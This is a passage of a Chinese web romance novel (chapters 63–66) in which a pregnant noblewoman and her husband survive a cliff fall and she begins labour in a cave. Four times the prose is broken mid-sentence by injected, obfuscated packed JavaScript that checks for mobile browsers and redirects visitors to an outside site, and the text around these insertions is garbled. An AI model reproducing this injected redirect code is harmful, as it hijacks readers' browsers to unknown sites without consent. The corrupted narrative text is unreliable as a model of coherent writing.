而迅速回援的一名苏家暗卫已经给了那黑衣人一剑,又将他踢出悬崖,而后又和已经发现这处漏洞不断朝这里涌来的其余黑衣人缠成一团。 而紧跟着她过来的苏琯璋被黑衣人首领、和几名黑衣人精锐缠住了,在他分神去看宣槿妤时,还险些被一刀割喉。 幸好他躲得快,险险避开,到底还是被锋利的刀气划破了高高的衣领,留下一道口子。 宣槿妤将雯姐儿拉住后,松了口气,幸好那名暗卫回援及时。 “没事了。”她下意识对雯姐儿露出一个笑,但笑意很快凝固在她唇角。 许是方才过于担心雯姐儿,又许是她跑得太急,这些时日一直在陆陆续续发作的阵痛又再次袭来。 她痛苦地松开了雯姐儿的手,捂着肚子。 她可能要生了。 宣槿妤清醒地意识到这一点,顿时便有些慌。 人在慌乱的时候,会下意识去依赖最信任的那个人。 宣槿妤站在原地,抬头去看苏琯璋,正见他衣领被划开的这一幕,顿时整个人都僵在原地。 才回过神来的雯姐儿手足无措地叫了她一声,“小婶婶。” 宣槿妤没有听见雯姐儿叫她的声音,只看见更多的黑衣人涌上来,几乎将苏琯璋的身影淹没。 肚子疼得厉害,她想蹲下去,找个安全的地方蹲下去缓一缓。 但才动了一下,却不小心踩中了散落在地的不知道什么东西,很滑,而后她整个人就朝着后面的悬崖倒了下去。 “夫君!”惊慌失措的。 “小婶婶!”惊惧害怕的。 宣槿妤和雯姐儿的声音同时响起。 63. 第 63 章 “少夫人!” “小婶婶!” 雯姐儿扑到悬崖边上,正见小婶婶落下去的身影。 小小的孩子不知所措,很快她又察觉到身边有一阵风袭来,然后她看到,小叔叔也跳了下去。 “小叔叔!” “小叔叔跳下去了。”雯姐儿心里受到极大的冲击,很快便呆滞地趴在悬崖边上,不动了。 紧接着,意识到发生了何事的其余人也朝着这个方向看来。 “妹妹!” “小姐!” 奉命一直守在宣槿妤身侧的清风方才被黑衣人冲散,接连杀了好几个挡道的黑衣人,就要重新守回小姐身边,却在此时看到这样让他惊骇的一幕。 他僵住了身子,不敢去看主子宣文晟此时的表情。 而匆匆赶来的苏琯煜更是瞬间红了眼眶。 “妹妹!” “小姐!” “少夫人!” “小弟!” “小公子!” 兵器交锋声中,响起了人惊慌失措的喊声,带着悲痛。 “小婶婶,小叔叔呜呜呜!”雯姐儿被众人的惊叫惊醒,顿时便嚎啕大哭起来。 这孩子,是被吓坏了。 前番狼袭时她被护得好好的,夜里宣槿妤都发起低热来她却跟没事人一样。方才黑衣人要杀她,也很快被宣槿妤救了回来。 可随即,宣槿妤和苏琯璋二人,一个从她眼前坠崖,一个从她身旁跳崖,给她造成的冲击是无法言喻的。 她还年幼,原先尚且不知道什么叫害怕,但如今却是真真切切地感受到了这种情绪,且一发不可收拾。 “世子。”过来回援的苏家暗卫眼睛也是红的,替呆愣在原地的苏琯煜挡住了一记剑刃,喊了他一声。 苏琯煜深吸口气,逼着自己冷静下来,又拉了一把清风未持剑的那只手,“先对敌。” 清风不敢回头,只听着宣文晟悲伤欲绝的哭声,咬着唇,很快加入战斗。 一名暗卫将趴在悬崖边上哭得难以自抑、且摇摇欲坠的雯姐儿抱起来,举着送到泪流满面的常湄言手中,很快又和身后扑来的黑衣人缠斗在一处。 “那位有了身孕的夫人掉下去了。”一名黑衣人大声喊道,很快被人一剑封喉。 但黑衣人首领已经听到了,他愣在原地。 完了,一切都完了。 任务已经注定无法完成。 就在他怔愣的这一瞬间,眼圈通红的苏声一剑结果了他的性命。 黑衣人还未发现首领已经毙命,只冲入苏家人明显乱了的阵型举着刀剑厮杀,很快便占据了上风。 但很快,王虎也带着他的手下加入了绞杀黑衣人的队伍。 是他错了,他不该犹豫的。 王虎一刀将偷袭陈阳的黑衣人头颅斩下,不敢和他的视线对上,只又转身对敌。 他又悔又愧,后悔自己犹豫了太久;愧疚于很久之前,因叛出苏家军被悔愧纠缠时、对自己推心置腹的李晓明。 他险些就走了李晓明的老路。 要用心去感受。 听到宣槿妤掉下悬崖前的喊声,他回头去看时,正见苏琯璋一跃而下的身影。 这样的场景极大地刺激到了他,心中的秤杆很快便偏移到良心这一头。 有了王虎一行人的加入,已经强行冷静下来的苏家人和暗卫们也都悲愤地开始反杀;再加上黑衣人头领已经被击杀,群龙无首,形势便很快被他们逆转过来。 不知厮杀了多久,黑衣人被他们尽数歼灭。 山路上,横七竖八的尸首躺了一地,其中属于黑衣人的尸身几乎要数不清。 冲天的血腥味飘荡在这高高的山峰上,久久不散。 而苏家人,此时才有时间开始回想,方才到底发生了什么事。 “我看到璋小子抱住槿妤了。” 苏老夫人抹着泪,字字悲痛,“槿妤刚才又阵痛了,她这是要生了。”眼泪再怎么擦也擦不干,她捂着眼睛,心里在滴血。 方才她听到雯姐儿的惊叫,回头瞥见那一幕,险些呼吸停滞。 在极度震惊和伤心之下,她强撑着瘫软的身子,扑到悬崖边上探头去看了一眼,很快被许玉娘拉了回来。 不过,那一眼,已经足以让她看清让她心肝俱裂的那一幕。 “他们不会有事的。”苏老夫人几乎是喃喃自语。 没有人回答她。 宣槿妤感受到耳边呼啸的风声,察觉到自己的身子在不受控制地极速下坠。她听到了呆滞在崖边的雯姐儿在喊她,可她回应不了。 她心里漫上巨大的恐慌,下意识捧住肚子。 她就要死了吗? 可她的孩子还没出生! 这时,有更大的风声从她头顶传来,很快一个熟悉的怀抱将她牢牢包裹住,她听到苏琯璋的声音,“槿妤。” 他的声音在颤抖。 宣槿妤愣住了,他怎么也掉下来了? 雯姐儿的声音从头顶遥遥传来,“小叔叔跳下去了。” 他是跳下来的? 宣槿妤感受着他亲密到有些过于紧致的怀抱,不由得伸手拂过他的脸,察觉到一手的湿润。 他竟然哭了。 “原来你也会哭。”宣槿妤喃喃道。 回答她的,是男人拥着她更加紧密的力道。 风太大了,宣槿妤甚至觉得他们二人好似被风吹得在空中停滞了一会儿,而后又朝着崖底坠去。 这时候坠下的速度就太快了,快到她耳中一阵轰鸣,脑中一片空白,只下意识将头埋进苏琯璋怀里。 他们一家人会死在一起,好像也不是不能接受。 只是,眼泪到底是浸湿了苏琯璋的衣裳,顺着他被黑衣人刀气划破的领口滑进他胸膛。 苏琯璋将她牢牢护在怀中,几乎将她整个人全然包裹。 “嘭~”的好大一声响,二人被重重摔在水面上。 水体轻柔,温柔地卸去他们下坠时的力道,并托住了二人往下沉的身子。从万丈悬崖上落下,甚至都没让他们受到一点伤害。 “槿妤,你怎么样?”苏琯璋第一反应是去看被他团在怀里的宣槿妤。 宣槿妤尚且还未从高空的呼啸风声脱离出来,只呆呆看着苏琯璋紧张地一张一合的嘴唇。 “没事了,我们没事。”苏琯璋见她不说话,心跳简直要停滞。很快给她检查好身子,还把了脉,才庆幸地重新将她揽入怀中。 宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宣槿妤心想,唇角却有了笑。她环视一圈,很快指了指林木茂密的一个方向,“我们去那边。” 苏琯璋亲了亲她的脸,托着她因身上薄袄沾了水而有些发沉的身子,慢慢游到湖边,很快上了岸。 而此时,二人身上的衣裳也被湖水冲刷得干干净净,再闻不见一丝血腥气。 冬日干燥,且这湖边暖融融的,火堆很快生了起来。 不敢耽搁,他用内力给二人烘干了衣物和头发,才勉强松了口气,开始打量起这崖底的环境来。 宣槿妤忽然痛呼一声。 “怎么了?”苏琯璋紧张地为她把脉,而后又惊又喜又忧,“好像是要生了。” 他们的孩子要出生了。 可却是在这样了无人烟的崖底,他们身边也没有合用的东西。 宣槿妤靠在苏琯璋身上,按他的指点调整着呼吸频率。 不多时,她一愣,察觉到身子下面好像有什么东西流了出来。苏琯璋伸手一探,手指上便沾了些许艳红。 是见红了,但羊水还没破。 苏琯璋呼吸一滞,很快强迫自己冷静下来,扶着宣槿妤慢慢走动着——照过来人传输的经验,这样容易加快产程,有助于分娩。 64. 第 64 章 经过林木最繁茂的一处,“这里有个山洞。”宣槿妤说,“我们去看看吧?” 照过来人灌输给她的经验,见红了还至少要一到两日才能生产。不过,也有特例,也有些在见红几个时辰后就生产的妇人的。 只是,宣槿妤到底是头胎,没经过事,还是有些害怕的。 她得转移一下自己的注意力,免得心慌意乱;而且,眼下才只是个开始,她就已经疼得快要受不住了。 再者,说不定他们今夜就要宿在崖底了,有个山洞也比露宿荒野强,且她还要生出个脆弱的婴孩来呢! 她平日里说什么苏琯璋都基本会说好,遑论此时。 见有光线从山洞中折射出来,且里头还传出了潺潺流水声,苏琯璋便知道里边不会有什么看不见的瘴气之类的危险。 为防万一,他还捡了块石子扔了进去,很快听到石子撞击在山壁的声音。 他又等了好一会儿,没有听到有什么虫蛇爬动的声音,便小心地扶着宣槿妤走了进去。 他们很快发现,这其实是个洞中洞,外面是个小山洞,里头套了连通的一个大山洞。 外头的小山洞连接了一处山泉,泉水汨汨地流淌着,顺着山涧流向里头的大山洞。 大山洞里竟还有一块十分平坦光滑的平台,触手生温,都可以当床睡了。 “我们的运气真好。”宣槿妤忍着一阵又一阵的痛楚,笑着对苏琯璋说道,“今晚还有床睡。” 苏琯璋知道她现在很疼,崖底下气温不冷,但也不热,她额头上竟还不断地渗出冷汗。 “很疼?”苏琯璋心疼地掏出帕子替她擦拭汗珠,想着可能会让她好受点的办法来,“咬我会不会好受点?” 宣槿妤一开始没应,他现在又没惹到她,她没必要咬他以做惩罚。 但很快,她就收回了方才的想法。 “呜呜呜。”宣槿妤是真的疼得受不住了,忍不住开始咬他。咬着咬着,便想起了被她抛之脑后很久的事来。 她边“呜呜呜”地哭着,边开始控诉着他此前对她做出的种种可恶事迹来。 “你就跟块木头似的,半点人味都没有,跟那冰雕有何区别?” “心里竟还藏了人。” 宣槿妤委屈极了,几个月未曾想起这事来,但一想起来了,憋屈和难过便一齐涌上心头。她眼泪不停地往下掉,“心里藏了人为什么还要娶我?” “你这个臭混账,臭男人。” 苏琯璋被她骂得开始一声都不敢吭,只在听她说他心里藏了别人时有些急了,忙开口解释道:“我心里是有人,但一直都是你。” 宣槿妤还在呜呜咽咽地哭着,根本没听见他在说什么。 苏琯璋见状,一时不知该如何是好。但只须臾,他便俯身堵住她的唇,轻柔地安抚着。 宣槿妤哭得正伤心,被他这样突如其来的吻弄得有些发懵,一时也忘了哭。 “槿妤,我心里的人一直是你。”苏琯璋温声道,“很抱歉,一直没找到机会跟你说。”他的目光很温柔,带着几分缠绵。 最早他们在刑部死牢的第一晚,他就想和她解释清楚,只被暗中来人打断了。 而后,他察觉出或许她可能还有一线生机,便忍住了没再提起这事。 接下来便是宣槿妤和他决裂,与他冷战,继而归家养胎,他就更没有解释的机会了。 十里亭时二人好不容易和好,他本要解释,不想她再误会,但那时却恰巧被来送行的许家和常家人打断了。 而那日开始他们就过上了被人监视着护送南下的生活,一开始他是找不到机会说;后来二人能够独处了,他再要解释,宣槿妤却说她想明白了也想通了,让他日后不要再提起这件事。 而他见她好似心无芥蒂的模样,便以为她真的想明白了自己心里的人是她,便真的再没提起过这件事。 直到方才,听着宣槿妤的控诉,苏琯璋才知道当日她那句“我想明白也想通了”是何意。 分明心有芥蒂,却逼着自己不去想不去在意,她竟是这样“相通的”。! 她在他不知道的时候,在她辛辛苦苦的整个孕期,竟都在忍受着这样的委屈。 “是我的错,槿妤。”苏琯璋素来没什么情绪的双眸中尽是懊悔和愧疚,他想到了更远之前,“我们之前明明有三年的时间,我却一直没和你说。” “其实我回京那日,在雅雀楼下惊鸿一瞥,你就入了我的心。” 苏琯璋神情很不自然地剖析着自己的心事,“我已经打听好你是谁家的姑娘,正要和母亲提,请她上门提亲。” “外祖父就是在这时候上了我们苏家的门,说明了他的来意。” “我和外祖父说了我对你一见钟情的事,才让他在往后三年时间里对我们的亲事一直持有乐观的态度。” 苏琯璋越说神情越温柔,那股不自然的姿态消失了,“槿妤,没有别人,我心里的人一直都是你。” “很抱歉,在这样的时候才和你说。”他亲昵地亲着她的眼睛,吻去她的泪水。 “我不敢奢求你的原谅。但这时候,别哭了好不好?等到生完孩子、坐完月子,我任你打骂,只要你消气。” 此时,他眼中的情意简直能溢出双眸,像是换了一个人,全然没有往日清冷寡言像个冰冷玉雕的模样。 宣槿妤被他一连串的告白砸得脑中一片空白,好一会儿,才慢慢回过神来。 这个男人说,他心里的人一直是她? “你没有骗我?”她沉默了很久,才开口,声音里还带着哭过后的颤音。 “槿妤,我没有骗你。” 有些人,藏在心底的情话一旦突破心理障碍说出口,再说起来时便显得十分顺畅且自然,好似全然没有过渡的时间。 又或许,此前沉默多年的时间里就是在无声无息地酝酿着,此时便悄无声息地完成了过渡。 苏琯璋很可能就是后者。 他温柔地和宣槿妤对视,“婚前,我心里的人是你;婚后,我心里的人还是你;往后一辈子,也还会是你。” 他抚摸着宣槿妤比怀孕前丰润不少的脸颊,“苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温水中生产可以缓解产妇的疼痛,这是一位十分有威望的老产婆告诉他的。 “只是,温水做不到绝对的干净,”那位产婆说,“不过老身也不知道会对产妇和孩子有什么危险。” 她笑了笑,很快十分严肃地对他说:“苏小将军,生孩子对女人来说就是一道鬼门关,在哪里生都是一样的。” 即便他在这刑部死牢,成为囚犯,她也仍将他当成当初在漠北救了她一家的小少将军,故而她的话全无保留。 “但是,若有条件,能够减轻产妇的痛苦,依老身这四十年的接生经验,认为还是值得冒这个风险的。” 老产婆已过花甲,仍在坚持替妇人接生,每年从鬼门关里将数不清的产妇拉回来,再将新生的婴儿送回人间。 她的话,很有参考价值。 苏琯璋回想着老产婆的话,脚步飞快,此时抱着人已经到了湖边。 65. 第 65 章 周遭安静得可怕,从林间窸窸窣窣的动静好似已经消失,天地间仿佛只剩下他们夫妻二人。 苏琯璋耳边也只有宣槿妤痛苦的呼吸声。 他飞快地将二人身上的衣裳一件件往下解,挂在树枝上,只留下贴身的中衣。 期间担心她冷,苏琯璋还运起内力替宣槿妤维持体温。而后也丝毫不敢耽搁,将人抱入水中,扶着她在水中站好。 “感觉怎么样?还很疼吗?”苏琯璋紧张地问,分明没有做什么,但他此时已经是满头大汗,嘴唇也隐隐发白。 若不知道内情的人见了,还以为是他要生了呢! 温水轻柔地冲刷着二人浸在水中的身子,给他们带去一丝暖意。 方才置身于这湖水中时,他们已经发现了,原来这崖底下一点都不冷,温暖得好似置身于阳春三月一般。 在这样的地方生产,好似也不是一无是处,至少不会让她和孩子受冷。 宣槿妤被湖水温柔地安抚着,慢慢放松下来,任由苏琯璋替她擦拭着额头因为疼痛冒出来的冷汗。 “好一些了。”她慢声回道。 老产婆的建议果真有用! 苏琯璋此时心里不禁对那老产婆生出几分感激来。 他们在湖水中待了不短的时间,约莫得有一个时辰了,宣槿妤才含着羞意对苏琯璋道:“好像又不疼了。” 感觉不到身子的疼痛之后,她那些借着痛意发泄出来的不满已然消散,便开始回想起他方才字字深情的告白来。 这还是她第一回听到有人和她说这样的话,且这人还是她早就倾心的、共度将近四年时光的夫君。 宣槿妤后知后觉察觉到害羞来,面上泛上一层绯色。 苏琯璋却以为她是在不好意思,安慰她,“没事,阵痛是正常的反应。等下如果还疼就再告诉我。” 还说要改掉他的不解风情呢!没点眼色的男人。 宣槿妤咬住他因抚摸她脸颊而放在她唇边的手指,睨着他,没有说话。然后便听这男人道,“我们先上岸,你饿了罢?我们先找点东西吃。” “你乖些,先让你娘亲吃点东西,别闹你娘亲。”说着,苏琯璋温柔地摸了摸她肚皮上隆起的小包,像是和孩子贴了贴掌心。 他们清晨启程前吃的早食,在崖上打斗那么久,又在这湖里待了一个时辰,此时已经午时过半了。 想必她也饿坏了。 宣槿妤对这没点眼色的男人实在没办法,又被他一本正经和她腹中孩子说话的模样逗乐,“噗嗤”笑出声来,松开了他的手。 “苏琯璋,也就只有我才受得了你这木头。” 她十分大度地没有计较他的木讷不识趣,眉眼弯弯的,显然心情十分愉悦,和方才因阵痛而蹙眉含泪的模样大相径庭。 苏琯璋一愣,向来敏捷的脑筋险些不会转动了。 很快他又大喜,她这是在回答方才他在山洞里的问话? “槿妤,你,你再说一遍。”他扶住她的肩膀,低头去看她的表情。 但宣槿妤哪里肯再说一遍,说只有她才受得了他么?过去三年她骂他的时候也没少说这话。 可把他乐的。 这时候竟又不是木头了?反应这般快。 宣槿妤没有说话,眼角眉梢却皆是笑意,将头埋进他胸膛;没有搭理他,双手却悄悄缠在他腰后。 苏琯璋紧紧拥着她,心里的欢喜难以言喻,他深吸口气,将头放在她发髻上,轻轻地。 “槿妤,谢谢你。”他压着兴奋的嗓音,低声道。 谢谢她还愿意包容他,和他过后半辈子。他何德何能,得妻如此。 若非宣槿妤埋着头不肯抬起来,他定要好好亲吻她一番。 微风拂过,水面飘起阵阵涟漪,簇拥着消散在岸边。 二人静静相拥了好一会儿,交换着彼此异于寻常的心跳声。 还是苏琯璋先想起她还没用过午膳的事来,亲了亲她的乌发,“我们先上岸找点东西吃,你是不是饿狠了?” 他的声音,温柔得近乎不像是他的腔调,听得宣槿妤面红心跳。 只是,她摸了摸肚子,方才阵痛时还察觉不到什么,现下还真的感觉到有些饿了。 她红着脸点了点头。 苏琯璋亲了亲她的额头,语气含着疼惜,“还得辛苦你再忍一会儿。” 这男人才说要改,宣槿妤也没料到他竟改得这般快。只是,听着他温柔含情的声音,心里悸动的同时,也怪别扭的。 他刻意掐着嗓子说话的声音,真的好好笑。 像是被人夺舍了一样。 她捂着唇悄悄地笑起来,靠在他胸膛上,听着他沉稳有力的心跳,任由他将自己抱上岸,烘干衣裳,再将挂在树枝上的衣裳一件一件穿回身上。 “披风不穿了,”宣槿妤说,“这里不冷。” 苏琯璋便将披风重新挂回树上,说不准待会儿还要用上。 撇开苏琯璋这个以往常年在外行军的人不提,便是宣槿妤,这几个月来也常在山间林地里泡着,已经十分清楚哪里可能会有猎物,哪里可能会有野果之类的吃食。 于是二人也没花费什么时间,便找到了充作午膳的吃食。 而宣槿妤此时已经吃上了汁水丰润的梨子,孕妇挨不得饿,她得先垫垫肚子。 他们一路南下,又进入冬季,梨子这种果子早已不见踪影,却不想这崖底下竟还有几株果树依旧果实累累。 宣槿妤咬了几口,觉得甜滋滋的,既解渴又好吃,便递到正烤着野鸡的苏琯璋嘴边。 苏琯璋正将手中的野鸡翻着面,唇边忽然碰到湿润的果子,便抬眼去看宣槿妤,正和她含笑的眼睛对上。 他唇边便也露出一抹笑,张嘴在她吃过的位置咬了一小口。 “烤鸡很快就好。”他说。 今日的体力消耗极大,他们也是真的饿极了,一只野鸡被夫妻二人很快消灭干净。 当然,大头的都是苏琯璋吃掉的。 他还找到一片竹林。 苏琯璋的软剑早在他跳崖时为了加速而扔到了悬崖下,此时他手中没有刀剑,只有一柄匕首——但这是要在宣槿妤生产时割断脐带用的,他没有动。 于是,宣槿妤便见识到了他的力气。 苏琯璋一脚就踹断了数根连在一起的竹子,清脆的裂音不绝于耳。 平日里见这男人轻轻松松地将重了许多的她抱着走上个把时辰,她感觉还不明显,如今倒是真切感知到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她心里软了软,抬头去看他,“你是不是都不会担心慌张的?”好似不管沦落到什么样的困境,都不会让他放在心上一样。 她好像很少见到他失态的模样,当然,方才在山洞里的那次不算。 若非他一直陪在她身旁,只怕她就算落到这崖底侥幸不死,也会慌张绝望到不行。 且她不会医术,不会做吃食,极有可能都会活不了几日。 可同样的境况,如今他都已经计划起要如何安排她月子中的膳食了。 “也不是。”苏琯璋回答。 “只是若是我担心了、慌张了,”他拂过她脸上被风吹散的发丝,“那你和孩子就危险了。” 他俯身,清雪般的气息洒了她一身,他的声音消散在二人唇齿间,“槿妤,我冒不起这个风险。”不管是为人夫,还是为人父。 即便天塌下来、地陷下去,他也得先将她和孩子安顿好。且他还要陪着她过完余生,为此,他便得时刻维持着冷静,保持着思考。 竹林风声徐徐,宣槿妤慢慢融化在他坦诚的心声和唇齿间炽热的温度中。 66. 第 66 章 吃饱喝足,又走了几圈,宣槿妤便开始有些犯困。 苏琯璋将方才做好的那一大堆竹筒用竹叶捆严实了,背在身后,半扶半抱着宣槿妤回了方才发现的那个山洞。 因着已经确定今晚要住在这里,这回苏琯璋检查得便仔细了些。大小两个山洞里里外外,就连山壁缝隙等处都没放过,他皆一一认真探查过去。 这样一看,果真有了新的发现。 他在大山洞那可以当作石床的平台后方发现了一处温泉,估计温泉的热气也渗到了石台下方,所以石台才触手生温。 而温泉与大山洞之间隔了薄薄的一层山壁,且是活动的。山壁中间推开时,可以形成一道足以容纳两人并排通过的较大缝隙。 若一直不推开,也仅有丝丝缕缕温润的湿气从山壁渗进来,不会让这大山洞过于潮湿。 且小山洞外山泉水气和温泉热气共同作用下,也大大缓解了洞内的干燥。 他们二人站了好一会儿,只觉得这大山洞里边清润舒适,久待也十分合宜。 苏琯璋敲了敲石台,又尝试着推了推,便发现这底下虽然有温泉水渗过来,但石台依旧十分稳固,跟这山洞浑然一体。 确定这石台足够安全可以睡人,他又取出身上暗袋藏着的银针去探那温泉水,没发现有什么问题。 但他犹不放心,掀起外裳,撕了自己中衣的下摆去沾了些许温泉水,闻了闻;还在宣槿妤惊讶而担忧的目光中伸手去蘸了水,放进口中尝了尝。 “这水可以用。”苏琯璋回头朝宣槿妤笑,“且这温泉水温度就比体温高了些许,不会很热,你应该挺喜欢泡的。” 且经他品尝,这温泉水好似还可以饮用;但出于谨慎,若要入口他是不会用这水的。毕竟,有的温泉水掺了硫磺等杂质,喝了轻则中毒,重则是会死人的。 而这周遭也不是没有水源——最近的小山洞内还有一处活山泉呢,他完全没必要冒这等风险。 听他如此说,宣槿妤脸上露出个浅浅的笑。 她在京中时,冬日里就喜欢泡温泉,她还以为今年冬日泡不成了。 苏琯璋将那截被撕下来的衣摆完全浸入水中,捞出来边拧边道:“不过眼下你也泡不得,得等出了月子且排完恶露后才可以泡。” 宣槿妤省得,但其实这已经让她格外欣喜了,“这里住着定然十分舒适。”她笑道。 她知道,他们其实要在这里常住的可能性极大。 在这崖底下,在这样简陋的山洞里,他们什么都没有。能够发现一处温泉,即便眼下不能泡,也足以让她惊喜了。 在被流放之前,她以为最困难的事就是夫妻不能同心。 而流放之后,这一路走来,她以为最苦的事也不过是孕期各种不适,还有居所不定,尤其是常露宿荒野。 而流落到这崖底之后,她才发现,之前的那些困难和苦楚都算不得什么。 宣槿妤摸了摸肚皮上凸出来的小脚丫,逗得孩子又踢了她几下,她满足地抬眼朝正忙碌着的男人看去。 能有这样一个遮风挡雨之地,他们夫妻还能在一处,其实就已经很好很好了。 苏琯璋很快擦干净石台,内力扫过,湿润的石台很快又恢复了干爽。 他将自己的披风脱下铺好,扶着宣槿妤先坐下,闻言颔首,“小山洞有活水,山壁后方有温泉,用水也十分方便。” 如此,他们平日里吃水、做膳食和洗漱等都很便捷,他就不必离她太远。而且,日后宣槿妤沐浴时也会更加舒适且安全,尤其刮风下雨时。 苏琯璋将充作抹布的中衣碎布洗干净,挂到山壁上等它自然晾干,不过须臾便回到宣槿妤身边。 “现在疼不疼?”他伸手去摸她的脉。 宣槿妤摇摇头,“现在不疼。” 苏琯璋亲了亲她的脸,“那先睡一会儿。”她方才就困了,怕现在也撑得艰难。 他重新站起身,在两个山洞内都撒了一圈药粉,尤其在石台四周多撒了一些,以防虫蛇鼠蚁等爬进来——幸好他贴身的那些药瓶没有进水,药粉还好好的。 两人的披风也都派上了用场。 苏琯璋自己的披风方才已经铺作了第一层,宣槿妤站起来后,他又脱下外袍,铺在披风上面充作了第二层。 他重新扶着宣槿妤坐下,替她除去外头的衣裳,只留下贴身的小衣和柔软舒适的中衣,再将她的披风盖在她身上。 “冷不冷?”他摸了摸她身下的两层衣裳。 宣槿妤摇摇头,挪了挪身子,让他也躺进来,“你也睡会儿。” 她了解这个男人,昨夜便知今日会有暗杀,他昨夜定是睡得不好,今日又是一场厮杀,他肯定也累了。 如今他已经将心事全数告知她,她也不会吝于表达自己的关心。 苏琯璋看着妻子坚持的神色,很快便也脱得仅剩下一件中衣,躺下时习惯性地将她揽入怀中。 “睡吧!”他说。 宣槿妤是真的累了,才闭眼没多久,便在熟悉的气息包围中沉沉睡了过去。 等到二人醒来,满室都是宁静安和的气息,好似那些厮杀、他们的困境都已经离他们远去,让人心里十分舒坦。 这种时候,也最是谈论心事的好时机。 “为何要忍?”苏琯璋抚摸着她依旧纤细的脊背,“你不该受这样的委屈。” 终究还是提起了她误会他心里藏了旁人的事。 “狗皇帝对我图谋不轨,我都要随你一起流放了。”宣槿妤想起当时的憋闷,低头去咬他揽住自己肩膀的手。 “人在屋檐下,哪能不低头。”她道,知道怎么说才能让这个男人更心疼。 果然,苏琯璋任由她在手上不轻不重地咬着,将她抱紧,“槿妤,日后,你不必再忍。” “有什么不满,你都可以找我发泄。” 宣槿妤松开嘴,嘟哝着,“我是那等不讲理,动不动就要发泄的人么?” 不过,她到底有自知之明,只声音轻了不少,直直地和他对视着,眼里却不见心虚。 苏琯璋含着笑去亲她,亲得她脸上、脖子上和肩膀上都痒痒的,忍不住往他怀里缩得更紧。 等捉弄完人了,他才说道:“夫人气度宽宏,是为夫误会夫人了。” 宣槿妤擦着方才被他亲痒了而笑出来的眼泪,“公狐狸。”她心里骂了一声。 但她肚子这样大,且被他困在怀里,无处可躲,便没有出声,生怕他再没轻没重的,还来逗弄她。 “给你咬。”看出她的意图,苏琯璋自觉将手臂奉上。 …… “真是个傻姑娘,竟然气了这么久。”还是绕不过方才的话题,苏琯璋很是心疼地摩挲着宣槿妤的脸。 宣槿妤唇部红润润的,比方才艳丽不少,闻言她有些心虚地将头埋进他怀里,不敢和他对视。 她倒也没有日日记着,只偶尔想起来才气不过。但孕期她身子不适,已经很久没有想起这件事了,方才那样说只是单纯想欺负他而已。 若她不是心大,而是日日记着这男人的不好之处,依她的性子,怎么甘愿和他好了三年?还愿意生下两人的孩子? 但她心大这件事,他好像一直没有发现,那就这样吧!反正这男人越心疼她越开心。 眼下宣槿妤暂时还不疼,苏琯璋便要趁着时间赶紧将晚膳时要用的竹筒制作出来。 二人重新去了一趟竹林。 回来时,苏琯璋手中多了几块薄薄的石板,和两块看着就十分沉重的大石头。 他们决定日后做饭时都在小山洞里头做,吃好了再回大山洞歇息。 如此,就得有餐桌和椅子。 这倒好办,竹林里的竹子多的是。 “你还好么?”苏琯璋放下手中的石板和大石头,到山泉处洗干净了手再擦干,才去摸宣槿妤的脉,“是不是又疼了?” 进入这小山洞时,他发现妻子走路慢了些。 宣槿妤额头渗出冷汗,疼得说不出话,只抓住他替自己擦汗的那只手。 苏琯璋也顾不得什么餐桌和竹椅了,直接将宣槿妤打横抱起,很快将她放在大山洞内的石台上。 方才铺的衣裳没有收起来,他直接将人放在上面,撩开宣槿妤的裙子,褪了下裳,伸手去探。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938272|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再拿出来时,手上沾了星点的血迹。 “开了一指。”苏琯璋额头也有冷汗渗出。 太慢了,才开一指,她就这样疼。 他很少为什么事情后悔过,眼下,却是开始后悔开年时自己为什么要答应她不吃避子药的事来。 怀上这个孩子,她这一路遭了多少罪。 宣槿妤照着午前苏琯璋教给她的方法调整吐息,急促的呼吸慢慢平复下来,虽还是很疼,但她已经能够开口了。 她感受到从男人身上散发出的悔意,“你在想什么?”她问,任由他替自己穿好下裳,放下裙摆。 苏琯璋将她抱坐在自己身上,“生完这一个,我们就不生了。” 他将头埋在她身上,用着几乎是乞求的语气,“好不好?” 宣槿妤不知道他为何突然这样说,只很快察觉到脖子上传来的水润,一怔。 他哭了? 她捧着他的头,让他和自己对视,果真见他发红的眼圈,和脸上还未干的泪痕。 这是她第二次见到这个男人哭,还是在同一日。 她连腹中一阵一阵的抽痛都顾不得,凑上去吻他,“为什么?”她轻轻咬着他的下唇,声音很轻。 苏琯璋少有的在她主动吻他的时候没有反客为主回吻,而是捧着她的脸,“我们就只要这个孩子,好不好?”他重复着问,固执要一个答案。 他甚少这样执拗。 宣槿妤和他对视,清楚地在他眸中看到了心疼,“你舍不得我吃苦?”她眉眼弯了起来,显然很开心这样的发现。 “是,”苏琯璋摩挲着她因为忍着疼痛而有些发白的面颊,“槿妤,我心疼你。” 他叹息,“你为这个孩子遭了太多罪。”本是京中贵女,却要怀着身孕被流放,他路上做得再多,也弥补不了她孕期的种种不适。 